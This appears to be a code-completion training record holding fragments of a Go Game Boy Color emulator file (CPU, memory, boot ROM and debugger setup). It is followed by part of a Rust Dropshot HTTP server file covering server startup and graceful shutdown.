gbc.config.Title += fmt.Sprintf(" - %s - %s", cart.Name, cart.Title)
gbc.mmu.LoadCartridge(gbc.cart)
gbc.debugOptions.Init(gbc.config.DumpState)
if gbc.config.Debug {
log.Println("Emulator will start in debug mode")
gbc.debugOptions.debuggerOn = true
//set breakpoint if defined
if b, err := utils.StringToWord(gbc.config.BreakOn); err != nil {
log.Fatalln("Cannot parse breakpoint:", gbc.config.BreakOn, "\n\t", err)
} else {
gbc.debugOptions.breakWhen = types.Word(b)
log.Println("Emulator will break into debugger when PC = ", gbc.debugOptions.breakWhen)
}
}
//load RAM into MBC (if supported)
r, err := gbc.saveStore.Open(cart.ID)
if err == nil {
gbc.mmu.LoadCartridgeRam(r)
} else {
log.Printf("Could not load a save state for: %s (%v)", cart.ID, err)
}
defer r.Close()
gbc.gpu.LinkScreen(gbc.io.GetScreenOutputChannel())
gbc.setupBoot()
err = gbc.io.Init(gbc.config.Title, gbc.config.ScreenSize, gbc.onClose)
if err != nil {
log.Fatalln("io init failure\n\t", err)
}
log.Println("Completed setup")
log.Println(strings.Repeat("*", 120))
return gbc, nil
}
func (gbc *GomeboyColor) Run(frameRunnerWrapper func(func())) {
for !gbc.stopped {
if !gbc.debugOptions.debuggerOn {
frameRunnerWrapper(gbc.doFrame)
} else {
frameRunnerWrapper(gbc.doFrameWithDebug)
}
gbc.cpuClockAcc = 0
}
}
func (gbc *GomeboyColor) RunIO() {
gbc.io.Run()
}
func (gbc *GomeboyColor) Step() {
cycles := 0x00
if gbc.hDMA.IsRunning() {
gbc.hDMA.Step()
} else {
cycles = gbc.cpu.Step()
}
//GPU is unaffected by CPU speed changes
gbc.gpu.Step(cycles)
gbc.cpuClockAcc += cycles
//these are affected by CPU speed changes
gbc.oamDMA.Step(cycles / gbc.cpu.Speed)
gbc.stepCount++
gbc.checkBootModeStatus()
}
func (gbc *GomeboyColor) Reset() {
log.Println("Resetting system")
gbc.cpu.Reset()
gbc.gpu.Reset()
gbc.mmu.Reset()
gbc.apu.Reset()
gbc.io.GetKeyHandler().Reset()
gbc.setupBoot()
}
func newGomeboyColor(cart *cartridge.Cartridge, conf *config.Config, saveStore saves.Store, ioHandler inputoutput.IOHandler) *GomeboyColor {
gbc := new(GomeboyColor)
gbc.cart = cart
gbc.config = conf
gbc.saveStore = saveStore
gbc.io = ioHandler
gbc.debugOptions = new(DebugOptions)
gbc.timer = timer.NewTimer()
gbc.mmu = mmu.NewGbcMMU()
gbc.cpu = cpu.NewCPU(gbc.mmu, gbc.timer)
gbc.hDMA = dma.NewHDMA(gbc.mmu)
gbc.oamDMA = dma.NewOAMDMA(gbc.mmu)
gbc.stopped = false
gbc.gpu = gpu.NewGPU()
gbc.apu = apu.NewAPU()
gbc.gpu.RegisterObserver(gbc.hDMA)
//mmu will process interrupt requests from GPU (i.e. it will set appropriate flags)
gbc.gpu.LinkIRQHandler(gbc.mmu)
gbc.timer.LinkIRQHandler(gbc.mmu)
gbc.io.GetKeyHandler().LinkIRQHandler(gbc.mmu)
gbc.mmu.ConnectPeripheral(gbc.apu, 0xFF10, 0xFF3F)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0x8000, 0x9FFF)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0xFE00, 0xFE9F)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0xFF57, 0xFF6F)
gbc.mmu.ConnectPeripheralOn(gbc.hDMA, 0xFF51, 0xFF52, 0xFF53, 0xFF54, 0xFF55)
gbc.mmu.ConnectPeripheralOn(gbc.oamDMA, 0xFF46)
gbc.mmu.ConnectPeripheralOn(gbc.gpu, 0xFF40, 0xFF41, 0xFF42, 0xFF43, 0xFF44, 0xFF45, 0xFF47, 0xFF48, 0xFF49, 0xFF4A, 0xFF4B, 0xFF4F)
gbc.mmu.ConnectPeripheralOn(gbc.io.GetKeyHandler(), 0xFF00)
gbc.mmu.ConnectPeripheralOn(gbc.timer, 0xFF04, 0xFF05, 0xFF06, 0xFF07)
return gbc
}
func (gbc *GomeboyColor) doFrame() {
for gbc.cpuClockAcc < FRAME_CYCLES {
gbc.Step()
}
}
func (gbc *GomeboyColor) doFrameWithDebug() {
for gbc.cpuClockAcc < FRAME_CYCLES {
if gbc.cpu.PC == gbc.debugOptions.breakWhen {
gbc.pause()
}
if gbc.config.DumpState && !gbc.cpu.Halted {
fmt.Println("\t ", gbc.cpu)
}
gbc.Step()
}
}
func (gbc *GomeboyColor) setupBoot() {
if gbc.config.SkipBoot {
log.Println("Boot sequence disabled")
gbc.setupWithoutBoot()
} else {
log.Println("Boot sequence enabled")
gbc.setupWithBoot()
}
}
func (gbc *GomeboyColor) setupWithBoot() {
gbc.inBootMode = true
gbc.mmu.WriteByte(0xFF50, 0x00)
}
func (gbc *GomeboyColor) checkBootModeStatus() {
//value in FF50 means gameboy has finished booting
if gbc.inBootMode {
if gbc.mmu.ReadByte(0xFF50) != 0x00 {
gbc.cpu.PC = 0x0100
gbc.mmu.SetInBootMode(false)
gbc.inBootMode = false
//put the GPU in color mode if cartridge is ColorGB and user has specified color GB mode
gbc.setHardwareMode(gbc.config.ColorMode)
log.Println("Finished GB boot program, launching game...") | //Determine if ColorGB hardware should be enabled
func (gbc *GomeboyColor) setHardwareMode(isColor bool) {
if isColor {
gbc.cpu.R.A = 0x11
gbc.gpu.RunningColorGBHardware = gbc.mmu.IsCartridgeColor()
gbc.mmu.RunningColorGBHardware = true
} else {
gbc.cpu.R.A = 0x01
gbc.gpu.RunningColorGBHardware = false
gbc.mmu.RunningColorGBHardware = false
}
}
func (gbc *GomeboyColor) setupWithoutBoot() {
gbc.inBootMode = false
gbc.mmu.SetInBootMode(false)
gbc.cpu.PC = 0x100
gbc.setHardwareMode(gbc.config.ColorMode)
gbc.cpu.R.F = 0xB0
gbc.cpu.R.B = 0x00
gbc.cpu.R.C = 0x13
gbc.cpu.R.D = 0x00
gbc.cpu.R.E = 0xD8
gbc.cpu.R.H = 0x01
gbc.cpu.R.L = 0x4D
gbc.cpu.SP = 0xFFFE
gbc.mmu.WriteByte(0xFF05, 0x00)
gbc.mmu.WriteByte(0xFF06, 0x00)
gbc.mmu.WriteByte(0xFF07, 0x00)
gbc.mmu.WriteByte(0xFF10, 0x80)
gbc.mmu.WriteByte(0xFF11, 0xBF)
gbc.mmu.WriteByte(0xFF12, 0xF3)
gbc.mmu.WriteByte(0xFF14, 0xBF)
gbc.mmu.WriteByte(0xFF16, 0x3F)
gbc.mmu.WriteByte(0xFF17, 0x00)
gbc.mmu.WriteByte(0xFF19, 0xBF)
gbc.mmu.WriteByte(0xFF1A, 0x7F)
gbc.mmu.WriteByte(0xFF1B, 0xFF)
gbc.mmu.WriteByte(0xFF1C, 0x9F)
gbc.mmu.WriteByte(0xFF1E, 0xBF)
gbc.mmu.WriteByte(0xFF20, 0xFF)
gbc.mmu.WriteByte(0xFF21, 0x00)
gbc.mmu.WriteByte(0xFF22, 0x00)
gbc.mmu.WriteByte(0xFF23, 0xBF)
gbc.mmu.WriteByte(0xFF24, 0x77)
gbc.mmu.WriteByte(0xFF25, 0xF3)
gbc.mmu.WriteByte(0xFF26, 0xF1)
gbc.mmu.WriteByte(0xFF40, 0x91)
gbc.mmu.WriteByte(0xFF42, 0x00)
gbc.mmu.WriteByte(0xFF43, 0x00)
gbc.mmu.WriteByte(0xFF45, 0x00)
gbc.mmu.WriteByte(0xFF47, 0xFC)
gbc.mmu.WriteByte(0xFF48, 0xFF)
gbc.mmu.WriteByte(0xFF49, 0xFF)
gbc.mmu.WriteByte(0xFF4A, 0x00)
gbc.mmu.WriteByte(0xFF4B, 0x00)
gbc.mmu.WriteByte(0xFF50, 0x00)
gbc.mmu.WriteByte(0xFFFF, 0x00)
}
func (gbc *GomeboyColor) onClose() {
//TODO need to figure this bit out (handle errors?)
w, _ := gbc.saveStore.Create(gbc.cart.ID)
defer w.Close()
gbc.mmu.SaveCartridgeRam(w)
gbc.stopped = true
}
func (gbc *GomeboyColor) pause() {
log.Println("DEBUGGER: Breaking because PC ==", gbc.debugOptions.breakWhen)
b := bufio.NewWriter(os.Stdout)
r := bufio.NewReader(os.Stdin)
fmt.Fprintln(b, "Debug mode, type ? for help")
for gbc.debugOptions.debuggerOn {
var instruction string
b.Flush()
fmt.Fprint(b, "> ")
b.Flush()
instruction, _ = r.ReadString('\n')
b.Flush()
var instructions []string = strings.Split(strings.Replace(instruction, "\n", "", -1), " ")
b.Flush()
command := instructions[0]
if command == "c" {
break
}
//dispatch
if v, ok := gbc.debugOptions.debugFuncMap[command]; ok {
v(gbc, instructions[1:]...)
} else {
fmt.Fprintln(b, "Unknown command:", command)
fmt.Fprintln(b, "Debug mode, type ? for help")
}
}
}
var BOOTROM []byte = []byte{
0x31, 0xFE, 0xFF, 0xAF, 0x21, 0xFF, 0x9F, 0x32, 0xCB, 0x7C, 0x20, 0xFB, 0x21, 0x26, 0xFF, 0x0E,
0x11, 0x3E, 0x80, 0x32, 0xE2, 0x0C, 0x3E, 0xF3, 0xE2, 0x32, 0x3E, 0x77, 0x77, 0x3E, 0xFC, 0xE0,
0x47, 0x11, 0x04, 0x01, 0x21, 0x10, 0x80, 0x1A, 0xCD, 0x95, 0x00, 0xCD, 0x96, 0x00, 0x13, 0x7B,
0xFE, 0x34, 0x20, 0xF3, 0x11, 0xD8, 0x00, 0x06, 0x08, 0x1A, 0x13, 0x22, 0x23, 0x05, 0x20, 0xF9,
0x3E, 0x19, 0xEA, 0x10, 0x99, 0x21, 0x2F, 0x99, 0x0E, 0x0C, 0x3D, 0x28, 0x08, 0x32, 0x0D, 0x20,
0xF9, 0x2E, 0x0F, 0x18, 0xF3, 0x67, 0x3E, 0x64, 0x57, 0xE0, 0x42, 0x3E, 0x91, 0xE0, 0x40, 0x04,
0x1E, 0x02, 0x0E, 0x0C, 0xF0, 0x44, 0xFE, 0x90, 0x20, 0xFA, 0x0D, 0x20, 0xF7, 0x1D, 0x20, 0xF2,
0x0E, 0x13, 0x24, 0x7C, 0x1E, 0x83, 0xFE, 0x62, 0x28, 0x06, 0x1E, 0xC1, 0xFE, 0x64, 0x20, 0x06,
0x7B, 0xE2, 0x0C, 0x3E, 0x87, 0xF2, 0xF0, 0x42, 0x90, 0xE0, 0x42, 0x15, 0x20, 0xD2, 0x05, 0x20,
0x4F, 0x16, 0x20, 0x18, 0xCB, 0x4F, 0x06, 0x04, 0xC5, 0xCB, 0x11, 0x17, 0xC1, 0xCB, 0x11, 0x17,
0x05, 0x20, 0xF5, 0x22, 0x23, 0x22, 0x23, 0xC9, 0xCE, 0xED, 0x66, 0x66, 0xCC, 0x0D, 0x00, 0x0B,
0x03, 0x73, 0x00, 0x83, 0x00, 0x0C, 0x00, 0x0D, 0x00, 0x08, 0x11, 0x1F, 0x88, 0x89, 0x00, 0x0E,
0xDC, 0xCC, 0x6E, 0xE6, 0xDD, 0xDD, 0xD9, 0x99, 0xBB, 0xBB, 0x67, 0x63, 0x6E, 0x0E, 0xEC, 0xCC,
0xDD, 0xDC, 0x99, 0x9F, 0xBB, 0xB9, 0x33, 0x3E, 0x3c, 0x42, 0xB9, 0xA5, 0xB9, 0xA5, 0x42, 0x4C,
0x21, 0x04, 0x01, 0x11, 0xA8, 0x00, 0x1A, 0x13, 0xBE, 0x20, 0xFE, 0x23, 0x7D, 0xFE, 0x34, 0x20,
0xF5, 0x06, 0x19, 0x78, 0x86, 0x23, 0x05, 0x20, 0xFB, 0x86, 0x20, 0xFE, 0x3E, 0x11, 0xE0, 0x50} | }
}
}
| random_line_split |
gbc.go | package gbc
import (
"bufio"
"fmt"
"log"
"os"
"strings"
"github.com/djhworld/gomeboycolor/apu"
"github.com/djhworld/gomeboycolor/cartridge"
"github.com/djhworld/gomeboycolor/config"
"github.com/djhworld/gomeboycolor/cpu"
"github.com/djhworld/gomeboycolor/dma"
"github.com/djhworld/gomeboycolor/gpu"
"github.com/djhworld/gomeboycolor/inputoutput"
"github.com/djhworld/gomeboycolor/mmu"
"github.com/djhworld/gomeboycolor/saves"
"github.com/djhworld/gomeboycolor/timer"
"github.com/djhworld/gomeboycolor/types"
"github.com/djhworld/gomeboycolor/utils"
)
const FRAME_CYCLES = 70224
const TITLE string = "gomeboycolor"
var VERSION string
type GomeboyColor struct {
gpu *gpu.GPU
cpu *cpu.GbcCPU
mmu *mmu.GbcMMU
hDMA *dma.HDMA
oamDMA *dma.OAMDMA
io inputoutput.IOHandler
apu *apu.APU
timer *timer.Timer
debugOptions *DebugOptions
config *config.Config
cart *cartridge.Cartridge
saveStore saves.Store
cpuClockAcc int
stepCount int
inBootMode bool
stopped bool
}
func Init(cart *cartridge.Cartridge, saveStore saves.Store, conf *config.Config, ioHandler inputoutput.IOHandler) (*GomeboyColor, error) {
var gbc *GomeboyColor = newGomeboyColor(cart, conf, saveStore, ioHandler)
b, er := gbc.mmu.LoadBIOS(BOOTROM)
if !b {
log.Println("Error loading bootrom:", er)
return nil, er
}
//append cartridge name and filename to title
gbc.config.Title += fmt.Sprintf(" - %s - %s", cart.Name, cart.Title)
gbc.mmu.LoadCartridge(gbc.cart)
gbc.debugOptions.Init(gbc.config.DumpState)
if gbc.config.Debug {
log.Println("Emulator will start in debug mode")
gbc.debugOptions.debuggerOn = true
//set breakpoint if defined
if b, err := utils.StringToWord(gbc.config.BreakOn); err != nil {
log.Fatalln("Cannot parse breakpoint:", gbc.config.BreakOn, "\n\t", err)
} else {
gbc.debugOptions.breakWhen = types.Word(b)
log.Println("Emulator will break into debugger when PC = ", gbc.debugOptions.breakWhen)
}
}
//load RAM into MBC (if supported)
r, err := gbc.saveStore.Open(cart.ID)
if err == nil {
gbc.mmu.LoadCartridgeRam(r)
} else {
log.Printf("Could not load a save state for: %s (%v)", cart.ID, err)
}
defer r.Close()
gbc.gpu.LinkScreen(gbc.io.GetScreenOutputChannel())
gbc.setupBoot()
err = gbc.io.Init(gbc.config.Title, gbc.config.ScreenSize, gbc.onClose)
if err != nil {
log.Fatalln("io init failure\n\t", err)
}
log.Println("Completed setup")
log.Println(strings.Repeat("*", 120))
return gbc, nil
}
func (gbc *GomeboyColor) Run(frameRunnerWrapper func(func())) {
for !gbc.stopped {
if !gbc.debugOptions.debuggerOn {
frameRunnerWrapper(gbc.doFrame)
} else {
frameRunnerWrapper(gbc.doFrameWithDebug)
}
gbc.cpuClockAcc = 0
}
}
func (gbc *GomeboyColor) RunIO() {
gbc.io.Run()
}
func (gbc *GomeboyColor) Step() {
cycles := 0x00
if gbc.hDMA.IsRunning() {
gbc.hDMA.Step()
} else {
cycles = gbc.cpu.Step()
}
//GPU is unaffected by CPU speed changes
gbc.gpu.Step(cycles)
gbc.cpuClockAcc += cycles
//these are affected by CPU speed changes
gbc.oamDMA.Step(cycles / gbc.cpu.Speed)
gbc.stepCount++
gbc.checkBootModeStatus()
}
func (gbc *GomeboyColor) Reset() {
log.Println("Resetting system")
gbc.cpu.Reset()
gbc.gpu.Reset()
gbc.mmu.Reset()
gbc.apu.Reset()
gbc.io.GetKeyHandler().Reset()
gbc.setupBoot()
}
func newGomeboyColor(cart *cartridge.Cartridge, conf *config.Config, saveStore saves.Store, ioHandler inputoutput.IOHandler) *GomeboyColor {
gbc := new(GomeboyColor)
gbc.cart = cart
gbc.config = conf
gbc.saveStore = saveStore
gbc.io = ioHandler
gbc.debugOptions = new(DebugOptions)
gbc.timer = timer.NewTimer()
gbc.mmu = mmu.NewGbcMMU()
gbc.cpu = cpu.NewCPU(gbc.mmu, gbc.timer)
gbc.hDMA = dma.NewHDMA(gbc.mmu)
gbc.oamDMA = dma.NewOAMDMA(gbc.mmu)
gbc.stopped = false
gbc.gpu = gpu.NewGPU()
gbc.apu = apu.NewAPU()
gbc.gpu.RegisterObserver(gbc.hDMA)
//mmu will process interrupt requests from GPU (i.e. it will set appropriate flags)
gbc.gpu.LinkIRQHandler(gbc.mmu)
gbc.timer.LinkIRQHandler(gbc.mmu)
gbc.io.GetKeyHandler().LinkIRQHandler(gbc.mmu)
gbc.mmu.ConnectPeripheral(gbc.apu, 0xFF10, 0xFF3F)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0x8000, 0x9FFF)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0xFE00, 0xFE9F)
gbc.mmu.ConnectPeripheral(gbc.gpu, 0xFF57, 0xFF6F)
gbc.mmu.ConnectPeripheralOn(gbc.hDMA, 0xFF51, 0xFF52, 0xFF53, 0xFF54, 0xFF55)
gbc.mmu.ConnectPeripheralOn(gbc.oamDMA, 0xFF46)
gbc.mmu.ConnectPeripheralOn(gbc.gpu, 0xFF40, 0xFF41, 0xFF42, 0xFF43, 0xFF44, 0xFF45, 0xFF47, 0xFF48, 0xFF49, 0xFF4A, 0xFF4B, 0xFF4F)
gbc.mmu.ConnectPeripheralOn(gbc.io.GetKeyHandler(), 0xFF00)
gbc.mmu.ConnectPeripheralOn(gbc.timer, 0xFF04, 0xFF05, 0xFF06, 0xFF07)
return gbc
}
func (gbc *GomeboyColor) doFrame() {
for gbc.cpuClockAcc < FRAME_CYCLES {
gbc.Step()
}
}
func (gbc *GomeboyColor) doFrameWithDebug() {
for gbc.cpuClockAcc < FRAME_CYCLES {
if gbc.cpu.PC == gbc.debugOptions.breakWhen {
gbc.pause()
}
if gbc.config.DumpState && !gbc.cpu.Halted {
fmt.Println("\t ", gbc.cpu)
}
gbc.Step()
}
}
func (gbc *GomeboyColor) setupBoot() {
if gbc.config.SkipBoot {
log.Println("Boot sequence disabled")
gbc.setupWithoutBoot()
} else {
log.Println("Boot sequence enabled")
gbc.setupWithBoot()
}
}
func (gbc *GomeboyColor) | () {
gbc.inBootMode = true
gbc.mmu.WriteByte(0xFF50, 0x00)
}
func (gbc *GomeboyColor) checkBootModeStatus() {
//value in FF50 means gameboy has finished booting
if gbc.inBootMode {
if gbc.mmu.ReadByte(0xFF50) != 0x00 {
gbc.cpu.PC = 0x0100
gbc.mmu.SetInBootMode(false)
gbc.inBootMode = false
//put the GPU in color mode if cartridge is ColorGB and user has specified color GB mode
gbc.setHardwareMode(gbc.config.ColorMode)
log.Println("Finished GB boot program, launching game...")
}
}
}
//Determine if ColorGB hardware should be enabled
func (gbc *GomeboyColor) setHardwareMode(isColor bool) {
if isColor {
gbc.cpu.R.A = 0x11
gbc.gpu.RunningColorGBHardware = gbc.mmu.IsCartridgeColor()
gbc.mmu.RunningColorGBHardware = true
} else {
gbc.cpu.R.A = 0x01
gbc.gpu.RunningColorGBHardware = false
gbc.mmu.RunningColorGBHardware = false
}
}
func (gbc *GomeboyColor) setupWithoutBoot() {
gbc.inBootMode = false
gbc.mmu.SetInBootMode(false)
gbc.cpu.PC = 0x100
gbc.setHardwareMode(gbc.config.ColorMode)
gbc.cpu.R.F = 0xB0
gbc.cpu.R.B = 0x00
gbc.cpu.R.C = 0x13
gbc.cpu.R.D = 0x00
gbc.cpu.R.E = 0xD8
gbc.cpu.R.H = 0x01
gbc.cpu.R.L = 0x4D
gbc.cpu.SP = 0xFFFE
gbc.mmu.WriteByte(0xFF05, 0x00)
gbc.mmu.WriteByte(0xFF06, 0x00)
gbc.mmu.WriteByte(0xFF07, 0x00)
gbc.mmu.WriteByte(0xFF10, 0x80)
gbc.mmu.WriteByte(0xFF11, 0xBF)
gbc.mmu.WriteByte(0xFF12, 0xF3)
gbc.mmu.WriteByte(0xFF14, 0xBF)
gbc.mmu.WriteByte(0xFF16, 0x3F)
gbc.mmu.WriteByte(0xFF17, 0x00)
gbc.mmu.WriteByte(0xFF19, 0xBF)
gbc.mmu.WriteByte(0xFF1A, 0x7F)
gbc.mmu.WriteByte(0xFF1B, 0xFF)
gbc.mmu.WriteByte(0xFF1C, 0x9F)
gbc.mmu.WriteByte(0xFF1E, 0xBF)
gbc.mmu.WriteByte(0xFF20, 0xFF)
gbc.mmu.WriteByte(0xFF21, 0x00)
gbc.mmu.WriteByte(0xFF22, 0x00)
gbc.mmu.WriteByte(0xFF23, 0xBF)
gbc.mmu.WriteByte(0xFF24, 0x77)
gbc.mmu.WriteByte(0xFF25, 0xF3)
gbc.mmu.WriteByte(0xFF26, 0xF1)
gbc.mmu.WriteByte(0xFF40, 0x91)
gbc.mmu.WriteByte(0xFF42, 0x00)
gbc.mmu.WriteByte(0xFF43, 0x00)
gbc.mmu.WriteByte(0xFF45, 0x00)
gbc.mmu.WriteByte(0xFF47, 0xFC)
gbc.mmu.WriteByte(0xFF48, 0xFF)
gbc.mmu.WriteByte(0xFF49, 0xFF)
gbc.mmu.WriteByte(0xFF4A, 0x00)
gbc.mmu.WriteByte(0xFF4B, 0x00)
gbc.mmu.WriteByte(0xFF50, 0x00)
gbc.mmu.WriteByte(0xFFFF, 0x00)
}
func (gbc *GomeboyColor) onClose() {
//TODO need to figure this bit out (handle errors?)
w, _ := gbc.saveStore.Create(gbc.cart.ID)
defer w.Close()
gbc.mmu.SaveCartridgeRam(w)
gbc.stopped = true
}
func (gbc *GomeboyColor) pause() {
log.Println("DEBUGGER: Breaking because PC ==", gbc.debugOptions.breakWhen)
b := bufio.NewWriter(os.Stdout)
r := bufio.NewReader(os.Stdin)
fmt.Fprintln(b, "Debug mode, type ? for help")
for gbc.debugOptions.debuggerOn {
var instruction string
b.Flush()
fmt.Fprint(b, "> ")
b.Flush()
instruction, _ = r.ReadString('\n')
b.Flush()
var instructions []string = strings.Split(strings.Replace(instruction, "\n", "", -1), " ")
b.Flush()
command := instructions[0]
if command == "c" {
break
}
//dispatch
if v, ok := gbc.debugOptions.debugFuncMap[command]; ok {
v(gbc, instructions[1:]...)
} else {
fmt.Fprintln(b, "Unknown command:", command)
fmt.Fprintln(b, "Debug mode, type ? for help")
}
}
}
var BOOTROM []byte = []byte{
0x31, 0xFE, 0xFF, 0xAF, 0x21, 0xFF, 0x9F, 0x32, 0xCB, 0x7C, 0x20, 0xFB, 0x21, 0x26, 0xFF, 0x0E,
0x11, 0x3E, 0x80, 0x32, 0xE2, 0x0C, 0x3E, 0xF3, 0xE2, 0x32, 0x3E, 0x77, 0x77, 0x3E, 0xFC, 0xE0,
0x47, 0x11, 0x04, 0x01, 0x21, 0x10, 0x80, 0x1A, 0xCD, 0x95, 0x00, 0xCD, 0x96, 0x00, 0x13, 0x7B,
0xFE, 0x34, 0x20, 0xF3, 0x11, 0xD8, 0x00, 0x06, 0x08, 0x1A, 0x13, 0x22, 0x23, 0x05, 0x20, 0xF9,
0x3E, 0x19, 0xEA, 0x10, 0x99, 0x21, 0x2F, 0x99, 0x0E, 0x0C, 0x3D, 0x28, 0x08, 0x32, 0x0D, 0x20,
0xF9, 0x2E, 0x0F, 0x18, 0xF3, 0x67, 0x3E, 0x64, 0x57, 0xE0, 0x42, 0x3E, 0x91, 0xE0, 0x40, 0x04,
0x1E, 0x02, 0x0E, 0x0C, 0xF0, 0x44, 0xFE, 0x90, 0x20, 0xFA, 0x0D, 0x20, 0xF7, 0x1D, 0x20, 0xF2,
0x0E, 0x13, 0x24, 0x7C, 0x1E, 0x83, 0xFE, 0x62, 0x28, 0x06, 0x1E, 0xC1, 0xFE, 0x64, 0x20, 0x06,
0x7B, 0xE2, 0x0C, 0x3E, 0x87, 0xF2, 0xF0, 0x42, 0x90, 0xE0, 0x42, 0x15, 0x20, 0xD2, 0x05, 0x20,
0x4F, 0x16, 0x20, 0x18, 0xCB, 0x4F, 0x06, 0x04, 0xC5, 0xCB, 0x11, 0x17, 0xC1, 0xCB, 0x11, 0x17,
0x05, 0x20, 0xF5, 0x22, 0x23, 0x22, 0x23, 0xC9, 0xCE, 0xED, 0x66, 0x66, 0xCC, 0x0D, 0x00, 0x0B,
0x03, 0x73, 0x00, 0x83, 0x00, 0x0C, 0x00, 0x0D, 0x00, 0x08, 0x11, 0x1F, 0x88, 0x89, 0x00, 0x0E,
0xDC, 0xCC, 0x6E, 0xE6, 0xDD, 0xDD, 0xD9, 0x99, 0xBB, 0xBB, 0x67, 0x63, 0x6E, 0x0E, 0xEC, 0xCC,
0xDD, 0xDC, 0x99, 0x9F, 0xBB, 0xB9, 0x33, 0x3E, 0x3c, 0x42, 0xB9, 0xA5, 0xB9, 0xA5, 0x42, 0x4C,
0x21, 0x04, 0x01, 0x11, 0xA8, 0x00, 0x1A, 0x13, 0xBE, 0x20, 0xFE, 0x23, 0x7D, 0xFE, 0x34, 0x20,
0xF5, 0x06, 0x19, 0x78, 0x86, 0x23, 0x05, 0x20, 0xFB, 0x86, 0x20, 0xFE, 0x3E, 0x11, 0xE0, 0x50}
| setupWithBoot | identifier_name |
server.rs | // Copyright 2020 Oxide Computer Company
/*!
* Generic server-wide state and facilities
*/
use super::api_description::ApiDescription;
use super::config::ConfigDropshot;
use super::error::HttpError;
use super::handler::RequestContext;
use super::http_util::HEADER_REQUEST_ID;
use super::probes;
use super::router::HttpRouter;
use super::ProbeRegistration;
use futures::future::BoxFuture;
use futures::future::FusedFuture;
use futures::future::FutureExt;
use futures::lock::Mutex;
use hyper::server::{
conn::{AddrIncoming, AddrStream},
Server,
};
use hyper::service::Service;
use hyper::Body;
use hyper::Request;
use hyper::Response;
use std::future::Future;
use std::net::SocketAddr;
use std::num::NonZeroU32;
use std::pin::Pin;
use std::sync::Arc;
use std::task::{Context, Poll};
use uuid::Uuid;
use slog::Logger;
/* TODO Replace this with something else? */
type GenericError = Box<dyn std::error::Error + Send + Sync>;
/**
* Endpoint-accessible context associated with a server.
*
* Automatically implemented for all Send + Sync types.
*/
pub trait ServerContext: Send + Sync + 'static {}
impl<T: 'static> ServerContext for T where T: Send + Sync {}
/**
* Stores shared state used by the Dropshot server.
*/
pub struct DropshotState<C: ServerContext> {
/** caller-specific state */
pub private: C,
/** static server configuration parameters */
pub config: ServerConfig,
/** request router */
pub router: HttpRouter<C>,
/** server-wide log handle */
pub log: Logger,
/** bound local address for the server. */
pub local_addr: SocketAddr,
}
/**
* Stores static configuration associated with the server
* TODO-cleanup merge with ConfigDropshot
*/
pub struct ServerConfig {
/** maximum allowed size of a request body */
pub request_body_max_bytes: usize,
/** maximum size of any page of results */
pub page_max_nitems: NonZeroU32,
/** default size for a page of results */
pub page_default_nitems: NonZeroU32,
}
/**
* A thin wrapper around a Hyper Server object that exposes some interfaces that
* we find useful.
*/
pub struct HttpServerStarter<C: ServerContext> {
app_state: Arc<DropshotState<C>>,
server: Server<AddrIncoming, ServerConnectionHandler<C>>,
local_addr: SocketAddr,
}
impl<C: ServerContext> HttpServerStarter<C> {
pub fn local_addr(&self) -> SocketAddr {
self.local_addr
}
/**
* Begins execution of the underlying Http server.
*/
pub fn start(self) -> HttpServer<C> {
let (tx, rx) = tokio::sync::oneshot::channel::<()>();
let log_close = self.app_state.log.new(o!());
let graceful = self.server.with_graceful_shutdown(async move {
rx.await.expect(
"dropshot server shutting down without invoking close()",
);
info!(log_close, "received request to begin graceful shutdown");
});
let join_handle = tokio::spawn(async { graceful.await });
let probe_registration = if cfg!(feature = "usdt-probes") {
match usdt::register_probes() {
Ok(_) => {
debug!(
self.app_state.log,
"successfully registered DTrace USDT probes"
);
ProbeRegistration::Succeeded
}
Err(e) => {
let msg = e.to_string();
error!(
self.app_state.log,
"failed to register DTrace USDT probes: {}", msg
);
ProbeRegistration::Failed(msg)
}
}
} else {
debug!(
self.app_state.log,
"DTrace USDT probes compiled out, not registering"
);
ProbeRegistration::Disabled
};
HttpServer {
probe_registration,
app_state: self.app_state,
local_addr: self.local_addr,
join_handle: Some(join_handle),
close_channel: Some(tx),
}
}
/**
* Set up an HTTP server bound on the specified address that runs registered
* handlers. You must invoke `start()` on the returned instance of
* `HttpServerStarter` (and await the result) to actually start the server.
*
* TODO-cleanup We should be able to take a reference to the ApiDescription.
* We currently can't because we need to hang onto the router.
*/
pub fn new(
config: &ConfigDropshot,
api: ApiDescription<C>,
private: C,
log: &Logger,
) -> Result<HttpServerStarter<C>, hyper::Error> {
let incoming = AddrIncoming::bind(&config.bind_address)?;
let local_addr = incoming.local_addr();
/* TODO-cleanup too many Arcs? */
let app_state = Arc::new(DropshotState {
private,
config: ServerConfig {
/* We start aggressively to ensure test coverage. */
request_body_max_bytes: config.request_body_max_bytes,
page_max_nitems: NonZeroU32::new(10000).unwrap(),
page_default_nitems: NonZeroU32::new(100).unwrap(),
},
router: api.into_router(),
log: log.new(o!("local_addr" => local_addr)),
local_addr,
});
for (path, method, _) in &app_state.router {
debug!(app_state.log, "registered endpoint";
"method" => &method,
"path" => &path
);
}
let make_service = ServerConnectionHandler::new(Arc::clone(&app_state));
let builder = hyper::Server::builder(incoming);
let server = builder.serve(make_service);
info!(app_state.log, "listening");
Ok(HttpServerStarter {
app_state,
server,
local_addr,
})
}
pub fn app_private(&self) -> &C {
&self.app_state.private
}
}
/**
* A running Dropshot HTTP server.
*
* # Panics
*
* Panics if dropped without invoking `close`.
*/
pub struct HttpServer<C: ServerContext> {
probe_registration: ProbeRegistration,
app_state: Arc<DropshotState<C>>,
local_addr: SocketAddr,
join_handle: Option<tokio::task::JoinHandle<Result<(), hyper::Error>>>,
close_channel: Option<tokio::sync::oneshot::Sender<()>>,
}
impl<C: ServerContext> HttpServer<C> {
pub fn local_addr(&self) -> SocketAddr {
self.local_addr
}
pub fn app_private(&self) -> &C {
&self.app_state.private
}
/**
* Signals the currently running server to stop and waits for it to exit.
*/
pub async fn close(mut self) -> Result<(), String> {
self.close_channel
.take()
.expect("cannot close twice")
.send(())
.expect("failed to send close signal");
if let Some(handle) = self.join_handle.take() {
handle
.await
.map_err(|error| format!("waiting for server: {}", error))?
.map_err(|error| format!("server stopped: {}", error))
} else |
}
/**
* Return the result of registering the server's DTrace USDT probes.
*
* See [`ProbeRegistration`] for details.
*/
pub fn probe_registration(&self) -> &ProbeRegistration {
&self.probe_registration
}
}
/*
